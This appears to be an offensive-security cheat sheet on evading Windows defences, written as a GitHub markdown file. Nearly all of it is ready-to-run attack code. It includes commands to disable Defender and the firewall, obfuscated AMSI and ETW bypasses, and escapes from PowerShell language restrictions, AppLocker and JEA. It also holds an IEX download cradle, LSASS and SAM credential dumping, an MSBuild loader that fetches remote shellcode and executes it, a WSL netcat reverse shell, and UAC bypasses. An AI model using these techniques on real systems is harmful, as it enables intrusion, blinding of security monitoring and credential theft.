Skip to content

Latest commit

 

History

History
967 lines (800 loc) · 31.4 KB

Evasion.md

File metadata and controls

967 lines (800 loc) · 31.4 KB

Evasion

General

Enumerating AV / EDR

python3 serviceDetector.py -conf conf/edr.json <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

Run against multiple targets

cat targets.txt | parallel -j 50 python3 serviceDetector.py -conf conf/edr.json <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

Get all GPO's applied to a machine

  • Run with elevated prompt
gpresult /H gpos.html

Windows Defender

  • Detects On-disk, In-Memory (AMSI) and Behavioural

Check if windows defender is running

Get-MpComputerStatus
Get-MpComputerStatus | Select RealTimeProtectionEnabled

Get info about Windows Defender

Get-MpPreference

Find excluded folder from Windows Defender

Get-MpPreference | select Exclusion*
(Get-MpPreference).Exclusionpath

Script to dump MDE config / ASR rules

Create exclusion

Set-MpPreference -ExclusionPath "<path>"

Check AV Detections

Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime 

Get last AV Detection

Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1

Disable AV monitoring

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPReference -DisableIOAVProtection $true

powershell.exe -c 'Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true'

ASR Rules

Enumerate ASR rules

. ./win10-asr-get.ps1

Windows Firewall

Get state

Get-NetFirewallProfile -PolicyStore ActiveStore

Get rules

Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize

Disable Firewall

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False 

Enable firewall

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

Change default policy

Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow 

Open port on firewall

netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>

New-NetFirewallRule -DisplayName "Allow port" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort <PORT>

Remove firewall rule

Remove-NetFirewallRule -DisplayName "Allow port"

PowerShell

Powershell detections

  • System-wide transcription
  • Script Block logging
  • Module logging
  • AntiMalware Scan Interface (AMSI)
  • Constrained Language Mode (CLM) - Integrated with Applocker and WDAC (Device Guard)

Start 64 bit powershell

%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe

Execution-policy

  • It is not a security boundary.

Get Execution policy

Get-Executionpolicy

Bypass execution policy

  • Not meant to be a security measure
powershell –executionpolicy bypass .\script.ps1
powershell –c <cmd>
powershell –enc
powershell.exe -executionpolicy bypass

AMSI

AMSI bypass string

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI bypass string obfuscated

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils');
$v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true);

AMSI bypass string 2 obfuscated

$MethodDefinition = @"
[DllImport(`"kernel32`",  EntryPoint="GetProcAddress")]
public static extern IntPtr GetProc(IntPtr hModule, string procName);

[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport(`"kernel32`",EntryPoint="VirtualProtect" )]
public static extern bool Virtual(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@;
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kern' -NameSpace 'W' -PassThru;
$ABSD = 'Ams'+'iS'+'canBuffer';
$handle = [W.Kern]::GetModuleHandle('ams'+'i.dll');
[IntPtr]$BAddress = [W.Kern]::GetProc($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$PFlag = 0x40;
[UInt32]$OFlag = 0;
[W.Kern]::Virtual($BAddress, $Size, $PFlag, [Ref]$OFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BAddress, 6);

ETW

  • Event Tracing for Windows
  • Very effective way of hunting .NET
  • Reflectivly modify the PowerShell process to prevent events being published. ETW feeds ALL of the other logs so this disabled everything!
  • Also bypasses scriptblock logging
[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static'); $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid()); $EtwProvider.SetValue($null, $EventProvider);

Obfusacted

[Reflection.Assembly]::"l`o`AdwIThPa`Rti`AlnamE"(('S'+'ystem'+'.C'+'ore'))."g`E`TTYPE"(('Sys'+'tem.Di'+'agno'+'stics.Event'+'i'+'ng.EventProv'+'i'+'der'))."gET`FI`eLd"(('m'+'_'+'enabled'),('NonP'+'ubl'+'ic'+',Instance'))."seTVa`l`Ue"([Ref]."a`sSem`BlY"."gE`T`TyPE"(('Sys'+'tem'+'.Mana'+'ge'+'ment.Aut'+'o'+'mation.Tracing.'+'PSEtwLo'+'g'+'Pro'+'vi'+'der'))."gEtFIe`Ld"(('e'+'tw'+'Provid'+'er'),('N'+'o'+'nPu'+'b'+'lic,Static'))."gE`Tva`lUe"($null),0)

Constrained Lanuage Mode

Check the language mode

$ExecutionContext.SessionState.LanguageMode

Escapes for Constrained Language Mode

Launch Powershell Version 2

Powershell.exe -Version 2

Overwrite __PSLockdownPolicy variable

  • If CLM is not implemented correctly and is using __PSLockdownPolicy

Check the __PSLockdownPolicy value

  • Value 4 is enabled
  • Value 8 is disabled
(Get-ItemProperty 'hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -name "__PSLockdownPolicy").__PSLockDownPolicy

Set lockdown policy to 8 and check language mode

Set-ItemProperty 'hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -name "__PSLockdownPolicy" -Value 8
powershell.exe
$ExecutionContext.SessionState.LanguageMode

PowerShx

rundll32 PowerShx.dll,main -i 
PowerShx.exe -i  

PowerShdll Run PowerShell with dlls only.

rundll32 PowerShdll,main -i

Download files with certutil

  • You can not use iwr but you can use certutil in constrained language mode
certutil -urlcache -split -f <URL>

Execute scripts

  • It is possible to execute scripts on the filesystem but you can't load them!
  • If applocker is there enumerate it to find a directory that lets you execute scripts in

Logging evasion

Invisi-shell

With admin privileges

./RunWithPathAsAdmin.bat 

With non-admin privileges:

RunWithRegistryNonAdmin.bat

Script Block logging bypass

Winrs
  • Use Winrs instead of PSRemoting to evade System-wide-transcript and deep script block logging
winrs -remote:server1 -u:<COMPUTERNAME>\<USER> -p:<PASS> hostname

Just Enough Admin

  • Defines allowed cmdledt and commands that are allowed by defining role capabilities.

Connect with JEA endpoint

  • Use DOMAIN\USER format
$creds = get-credential
$sess = New-PSSession -ComputerName <FQDN> -ConfigurationName <JEA ENDPOINT CONF NAME> -Credential $creds

Get the PSSession configurations (and JEA)

Get-PSSessionconfiguration

Get PSSession capabilities

Get-PSSessionCapability -ConfigurationName <NAME> -Username <DOMAIN>\<USERNAME>

Abuse JEA

Get-Command

# Abuse example
Start-Process cmd.exe calc.exe

Abuse - Creating functions

  • If JEA enpoint is running in Constrained Language Mode instead of NoLanguage it is possible to create your own functions!
  • Creates a function with the name gl and executes it.
  • Shortcut would be ${ <COMMAND>}
function gl {Get-Location}; gl

function gl {whoami}; gl

function gl {powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://<IP>/shell.ps1'))"}; gl

Abuse - Grant a user to admin

Add-ADGroupMember, Add-LocalGroupMember, net.exe, dsadd.exe

Abuse - Running arbritary code

Start-Process, New-Service, Invoke-Item, Invoke-WmiMethod, Invoke-Command,
New-ScheduledTask, Register-ScheduledJob

Invoke-Command -ScriptBlock {net localgroup administrators <USER> /add}

Abuse - Set-PSSessionConfiguration

Connect and check the config

$sess = New-PSSession -ComputerName <FQDN> -Credential $creds -ConfigurationName <ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration

Get original SDDL

$existingSDDL = (Get-PSSessionConfiguration -Name "<PROFILE>" -Verbose:$false).SecurityDescriptorSDDL

Get SID for new user to add

$SID = (Get-DomainUser <USER>).Objectsid

Create new SDDL with a new USER SID

$isContainer = $false  
$isDS = $false  
$SecurityDescriptor = New-Object -TypeName Security.AccessControl.CommonSecurityDescriptor -ArgumentList $isContainer,$isDS, $existingSDDL
$accessType = "Allow"  
$accessMask = 268435456  
$inheritanceFlags = "none"  
$propagationFlags = "none"  
$SecurityDescriptor.DiscretionaryAcl.AddAccess($accessType,$SID,$accessMask,$inheritanceFlags,$propagationFlags) | Out-Null
$newSDDL = $SecurityDescriptor.GetSddlForm("All")
$newSDDL

Change the config

Set-PSSessionConfiguration -name "<PROFILE>" -SecurityDescriptorSddl "<SDDL>" -force -Confirm:$false

Reconnect and check the config

$sess = New-PSSession -ComputerName <FQDN> -Credential $creds -ConfigurationName <ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration

Connect to reconfigured new endpoint

$sess2 = New-PSSession -ComputerName <FQDN> -Credential $creds2 -ConfigurationName <RECONFIGURED ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration

Applocker

  • AppLocker rules are split into 5 categories - Executable, Windows Installer, Script, Packaged App and DLLs, and each category can have its own enforcement (enforced, audit only, none).
  • AppLocker has a set of default allow rules such as, allow everyone to execute anything within C:\Windows\* - the theory being that everything in C:\Windows is trusted and safe to execute.
  • The difficulty of bypassing AppLocker depends on the robustness of the rules that have been implemented. The default rule sets are quite trivial to bypass in a number of ways:
    • Executing untrusted code via trusts LOLBAS's.
    • Finding writeable directories within "trusted" paths.
    • By default, AppLocker is not even applied to Administrators.
  • Uploading into C:\Windows requires elevated privileges, but there are places like C:\Windows\Tasks that are writeable by standard users.
  • DLL enforcement very rarely enabled due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break.
  • Good repo for bypasses: https://github.com/api0cradle/UltimateAppLockerByPassList

Check if Applocker is enabled

Get-AppLockerPolicy -Effective

Enumerate Applocker policy

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"
Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"

reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2

Check policy with GPOresult

  • Open the HTLM file locally
gpresult /H gpos.html

Parse GPO applocker

Get-DomainGPO -Identity *applocker*
Parse-PolFile "<GPCFILESYSPATH FROM GET-DOMAINGPO>\Machine\Registry.pol" | select ValueName, ValueData

If code integrity is enforced and PowerShell is running in Constrained Langauge Mode use winrs instead of psremoting

runas /netonly /user:<DOMAIN\<USER> cmd.exe
winrs -r:<PC NAME> cmd

Check for the policy on disk

  • .p7b is a signed policy
  • Check if there are any .xml files which didn't got removed with the policy
ls C:\Windows\system32\CodeIntegrity

WDAC

Disable WDAC

  • Policy in C:\Windows\System32\CodeIntegrity\ in a .p7b file. Delete the file and reboot to delete policy.
  • Only works if WDAC isn't enforced through GPO but setup locally!

Check for WDAC

  • SecurityServicesConfigured and SecurityServicesRunning values are:
      1. No services configured/running
      1. If present, Credential Guard is configured/running.
      1. If present, HVCI is configured/running.
      1. If present, System Guard Secure Launch is configured/running.
      1. If present, SMM Firmware Measurement is configured/running.
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

Check for policies

  • .p7b is a signed policy
  • Policies stored in C:\Windows\System32\CodeIntegrity either in a Single file SiPolicy.p7b or multiple policies in \CiPolicies.
  • Check if there are any .xml files which didn't got removed with the policy
ls C:\Windows\system32\CodeIntegrity

Check for readable xml policies

ls C:\Windows\system32\CodeIntegrity -Recurse -Include *.xml

Code signing

  • Code signing ensures that files weren't tampered with and are verified by a trusted authority.
  • ADCS code signing EKU = Code Signing (1.3.6.1.5.5.7.3.3)
  • Requires Code Signing cert to be extracted from a system, or created through ADCS and it should be allowed in the WDAC policy!

Convert Pem to PFX with openssl

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Check .pfx file for code signing EKU

  • Code Signing 1.3.6.1.5.5.7.3.3
  • Cert Hash(sha1) to validate cert hash
certutil -v -dump -p "<PASSWORD>" <PATH TO PFX>

Sign a tool

.\signtool.exe sign /fd SHA256 /a /f <PATH TO PFX FILE> /p '<PASSWORD>' <EXE TO SIGN>

Get Signer Certificate of tool

Get-AuthenticodeSignature -FilePath <PATH TO EXE>

LOLBAS

rundll32.exe and comsvcs.dll dumping lsass:

Get-Process | Select-String lsass
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PROCESS ID> C:\Users\Public\lsass.dmp full
dir C:\Users\Public\lsass.dmp

Invoke-Mimikatz -Command '"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords"'

Reg.exe dumping sam

reg save HKLM\SECURITY security.bak
reg save HKLM\SYSTEM system.bak
reg save HKLM\SAM sam.bak

Invoke-Mimikatz -Command '"lsadump::sam system.bak sam.bak"'
secretsdump.py -sam sam.bak -security security.bak -system system.bak local

rundll32.exe dll payload

C:\Windows\System32\rundll32.exe <FILE>.dll,StartW

Msbuilt.exe

  • Can be used to execute arbitrary C# code from a .csproj or .xml file.
msbuild.exe <FILE>

Example shellcode injector

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Net;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    byte[] shellcode;
                    using (var client = new WebClient())
                    {
                        client.BaseAddress = "http://<IP>";
                        shellcode = client.DownloadData("shellcode.bin");
                    }
      
                    var hKernel = LoadLibrary("kernel32.dll");
                    var hVa = GetProcAddress(hKernel, "VirtualAlloc");
                    var hCt = GetProcAddress(hKernel, "CreateThread");

                    var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
                    var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);

                    var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
                    Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);

                    var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
                    WaitForSingleObject(t, 0xFFFFFFFF);

                    return true;
                }

            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
    
            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

            [DllImport("kernel32")]
            private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Example PowerShell clm

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
     <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Linq;
            using System.Management.Automation;
            using System.Management.Automation.Runspaces;

            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    using (var runspace = RunspaceFactory.CreateRunspace())
                    {
                      runspace.Open();

                      using (var posh = PowerShell.Create())
                      {
                        posh.Runspace = runspace;
                        posh.AddScript("$ExecutionContext.SessionState.LanguageMode");
                                                
                        var results = posh.Invoke();
                        var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());
                        
                        Console.WriteLine(output);
                      }
                    }

                return true;
              }
            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

LSASS Protections

Credential Guard

Check if credential guard is configured

if ((Get-ComputerInfo).DeviceGuardSecurityServicesConfigured -match "CredentialGuardA") {return $true}else{return $false}

Check if credential guard is running

if ((Get-ComputerInfo).DeviceGuardSecurityServicesRunning -match "CredentialGuardA") {return $true}else{return $false}

RunasPPL

Check if RunasPPL is configured

reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL

Defeating AV

General

Obfuscation tools

C# binaries

  1. Launch ConfuserEx
  2. In Project tab select the Base Directory where the binary file is located.
  3. In Project tab Select the Binary File that we want to obfuscate.
  4. In Settings tab add the rules.
  5. In Settings tab edit the rule and select the preset as Normal.
  6. In Protect tab click on the protect button.
  7. We will find the new obfuscated binary in the Confused folder under the Base Directory.

Go binaries

Powershell

Evasion techniques

  • Most examples are in PowerShell but techniques can be implemented in every coding language

Things that get you caught

  • Using Templates; MSbuild template / scripts / etc
  • Not changing variable & function names
  • Not removing comments
  • Not obfuscating common code exec patterns
    • Appplies to scripts, templates & Compiled code
  • Not changing error messages etc.
  • Entropy
    • Rougly - high entropy = more random
    • Higher entropy = less compressible
    • Problem: we encrypt shellcode to evade
    • encrypted shellcode = more random -> higher entropy
    • Dont randomize all the things
      • Changing default variable/func. names is good, but random characters is bad. Use two-word pairs.

How amsi evaluates PowerShell commands

  • The code is evaluated when its readable by the scripting engine
  • This is what allows us to still be able to obfuscate our code
# This
powershell -enc VwByAGkAdABlAC0ASABvAHMAdAAoACIASABlAGwAbABvACAAVwBvAHIAbABkACIAKQA=

# Becomes
Write-Host("Hello World")

# But This
Write-Host("He" + "llo" + "World")

# Does not become
Write-Host("Hello World")

Change the following in scripts/code

Hash of file/code

  • Change Capitalization
    • PowerShell ignores capitalization, AMSI ignored capitalization, but changing your hash is best practice.
      • $variablename = "amsicontext" to $VaRiAbLeNaMe = "amsicontext"
    • C# is case sensitive, but changing the capitalization changes the hash. (Must change every entry of the variable!)
  • Remove comments

Byte strings

  • Change variable names
    • $variablename = "amsicontext" to $LoremIpsum = "amsicontext"
    • Dont randomize all the things
      • Changing default variable/func. names is good, but random characters is bad. Use two-word pairs (Example: DragonBerrySmasher)
  • Concatenation
    • "amsicontext" to "am" + "si" + "con" + "te" + "xt"
  • Variable insertion
    • $variablename = 'context' into $variablename2 = "Amsi$variablename"
    • C# string variablename = "context"; string variablename2 = $"amsi{variablename}";
    • Format string
      • $variablename = "amsi{0}text -f "con"
      • $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80); to $client = New-Object ("{0}{1}" -f 'SySteM.Ne', 'T.SoCkEts.TCPCliEnt')("10.10.10.10",80);
      • C# string variablename = "context"; string variablename2 = String.Format("amsi{0}",variablename);
  • Potentially the order of execution
  • Obfuscating shellcode
  • Lower entropy
    • Languages are not random
    • Create an array with a dictionary and compile it with the code (disable compiler optimization)
  • Misc
[DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(
	UInt32 lpStartAddr, 
	UInt32 size, 
	UInt32 flAllocationType, 
	UInt32 flProtect);

[DllImport("kernel32, EntryPoint = VirtualAlloc",
	SetLastError = false, ExactSpelling = true)]
	private static extern IntPtr SplendidDragon(
	UInt32 lpStartAddr, 
	UInt32 size, 
	UInt32 flAllocationType, 
	UInt32 flProtect);

Structure of the code

  • Change methods and lines of code around.

Example of changing amsi bypass string

# Original amsi bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# New
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils'); $v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true)

Defeating Microsoft Defender

  1. Run Threatcheck .\ThreatCheck.exe -f .\shell.exe
  2. Replace string which gets detected.
  3. Recompile and check again!

Scanning amsi

Threatcheck

.\ThreatCheck.exe -f .\shell.ps1 -e AMSI

AmsiTrigger

.\AmsiTrigger.exe -i .\shell.ps1 -f 2

Offensive .NET

C:\Users\Public\Loader.exe -path http://xx.xx.xx.xx/something.exe

Use custom exe Assembyload to run netloader in memory and then load binary

C:\Users\Public\AssemblyLoad.exe http://xx.xx.xx.xx/Loader.exe -path http://xx.xx.xx.xx/something.exe

Random notes

pyinstaller.exe --onefile .\CVE-2021-1675.py
pyarmor pack --clean -e "--onefile " .\CVE-2021-1675.py

Windows Subsystem for Linux WSL

  • AVs which do not use Pico process APIs have no visibility of the processes executed using WSL. This provides better chances of bypass.
  • With the additional Linux tooling included (like Python), WSL increases the attack surface of a machine and the opportunities to abuse the new functionality.

Netcat shell

wsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc <IP> <PORT> 1>/tmp/backpipe

Bypass whitelisting

  • In both the above cases, the Windows application will have: – Same permissions as the WSL process. – Run as the current Windows user. – Uses the working directory as the WSL command prompt. That is we can access the Windows file system from WSL.
bash.exe -c cmd.exe
wsl.exe cmd.exe

Privileges

Check current privileges

whoami /priv

SeDebugPrivileges

Export the current user rights set by the group policies to a text file:

secedit /export /cfg secpolicy.inf /areas USER_RIGHTS

Edit the secpolicy.ing

  • Change the SeDebugPrivileges to S-1-5-32-544 the Local administrator group.
notepad.exe secpolicy.inf

Save the new user rights set

secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS

Start cmd again

  • Check privileges with whoami if not having SeDebugPrivilege do PsExec.exe -i cmd.exe

UAC bypass

.\Akagi64.exe <METHOD> <EXECUTABLE>
.\Akagi64.exe 34 cmd.exe

Automatec UAC bypass PowerShell script

.\Win-Multi-UAC-Bypass.ps1

Manual UAC bypass

Fodhelper

  • Can also use C:\Windows\System32\cmd.exe /c powershell.exe
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "<PATH TO EXE>" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
 
# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Check current UAC configuration

  • The default configuration for UAC is Prompt for consent for non-Windows binaries, but can also have different settings such as Prompt for credentials, Prompt for consent and Elevate without prompting.
Seatbelt.exe uac